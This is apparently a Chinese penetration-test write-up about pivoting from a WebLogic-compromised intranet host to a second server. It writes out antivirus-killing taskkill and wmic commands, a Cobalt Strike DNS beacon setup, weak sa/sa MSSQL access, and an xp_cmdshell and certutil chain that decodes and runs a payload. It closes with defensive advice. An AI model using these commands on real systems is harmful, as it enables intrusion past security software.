网络:内网C1和C2处于同一网段,可以互通,仅DNS可以访问外网。
安全防护:360全家桶、安全狗、云锁定制版、金山卫士
其他相关信息如下表:
机名称
|
系统
|
中间件
|
中间件
|
数据库
|
权限
|
C1
|
win2k3
|
weblogic
|
192.168.10.10
|
mysql
|
administrator
|
C1
|
win2k3
|
iis6.0/apache
|
192.168.10.100
|
sql server 2000
|
system
|
C1是通weblogic反序列化拿下的,具体怎么获取的webshell就不细说了,根据C1的配置、文件、主机名和数据库等信息可以知道,目标网站之前是存放再C1的,因为上面的源码和数据库基本上和C2的一致。通过weblogic的配置文件可以知道C2的真实IP,主机上面存在各种安全防护软件,各种全家桶,很多命令、脚本和exe都无法运行,比如带有net的命令都无法运行,net、netstat、sc、wscript等
目标:获取C2的管理权限,包括网站内容管理和替换等,非单纯的系统权限。
-
通过C1利用http隧道或DNS隧道进行socks代理,对C2进行进一步渗透
-
抓取C1管理员口令或直接利用当前用户的token进行攻击
-
利用数据库或中间件弱口令进行攻击
-
利用web漏洞进行攻击,如注入、上传和命令执行等漏洞
-
中间人攻击或者嗅探等,但是影响太大,也需等比较久的时间
由于是weblogic,无法直接使用http隧道类的代理,因为环境仅支持jspx,没有找到可以用的代理webshell,故采取第二种方案,即通过DNS进行控制和代理。这里我首先想到的自然是cobalt strike的DNS Beacon。
cobalt strike dns beacon 环境构建
参考官方手册或自行google
由于存在360全家桶等,所以得先把他们干掉:
taskkill /im 360* /t /f
taskkill /im ZhuDongFangYu.exe /t /f
taskkill /im KSafeSvc.exe /t /f
ps:云锁是定制版,这里就不写进程名称了,也不影响远控的执行,安全无法结束也不影响
由于无法上传exe,所以将生成exe重命名为jspx上传,执行之后,等待几分钟,既可以成功上线,这里有个坑,因为内网配置的DNS可能是一些不知名的或者是114之类的,会影响上线,所以这里建议使用8.8.8.8或者119.29.29.29,因为我用的是DNSPOD,修改DNS:
netsh interface ip set dns "本地连接" source=static addr=119.29.29.29
参考
官方手册
linux可以用Proxychains,windows可以使用Proxifier PE或SocksCap64
通过jsp大马自带的端口扫描发现C2开放的端口有:
80:WMC生成的html,没啥可搞的
1433:因为C1的mysql账号密码是
root/root,因此猜测存在弱口令
8080、8001、8081:就apache的一个代理,没有什么页面和功能
利用socks代理通过1433连接器,sa/sa获取了mssql的DBA权限,暗自高兴了一会,以为道这里就快搞定了,因为系统存在多个web服务,很自然的可以想到,直接可以通过mssql的xp_cmdshell,echo一个一句话就可以搞定了,然而这只是开始。
简单提一下,iis找网站路径的方法
1. dir/s /b f:\123.jpg (磁盘文件太多时无法使用)
2. 查看配置文件:
iis6:type %systemroot%\system32\inetsrv\metabase.xml|findstr Path=
iis7/8:type %systemroot%\System32\inetsrv\config\applicationHost.config|findstr physicalPath=
iis7/8: appcmd list sites
wmic process where name="httpd.exe" get processid,executablepath,name
其他中间件或web服务的也可以根据运行程序的路径,查看其配置文件,使用wmic命令查看运行路径:
经过尝试各种下载姿势,还是无法下载,想了很久,又回到了certutil,因为他是系统自带的命令,从win2k3道windows 2016都是存在的,既可以用于下载,也可以用于base64编码和文件hash校验。故此:
1. 文件hash
(1) SHA1
certutil.exe -hashfile msg.dll
(2) SHA256:
certutil.exe -hashfile msg.dll SHA256
(3) MD5:
certutil.exe -hashfile msg.dll MD5
2.编码
(1) base64编码:
CertUtil -encode InFile OutFile
(2) base64解码
CertUtil -decode InFile OutFile
注:编码后的文件会添加两处标识信息,不影响文件解码
文件头:
-----BEGIN CERTIFICATE-----
文件尾:
-----END CERTIFICATE-----
exec master..xp_cmdshell "echo xxxx >> C:\temp\test.txt"
exec master..xp_cmdshell "taskkill /im 360* /t /f"
taskkill /im ZhuDongFangYu.exe /t /f
exec master..xp_cmdshell "wmic Service where name='360EntClientSvc' call stopservice"
exec master..xp_cmdshell "wmic Service where name='360rp' call stopservice"
CertUtil -decode test.txt xshell.txt
wmic process call create 'c:\temp\xshell.txt'
本次渗透,可以说是一波三折,主要学习到的东西是在复杂环境下,综合利用各种windows自带的工具进行绕过安全防护,如wmic、taskkill、certutil等综合运用,才得以绕过杀软的防御,也存在一定运气的成分如数据库弱口令、病毒库更新不及时等。
从防御的角度来看的话:
-
加强日常安全运维的巡检,其实我的exe上传不止一次被杀或这被拦截,如果巡检自然可以发现
-
提高安全运维人员意识,做好安全策略管理,如数据库弱口令这些本不该有的
-
及时更新防病毒软件和恶意代码库,新版的360没法结束
-
加强对外恶意流量的安全检测,如DNS、http等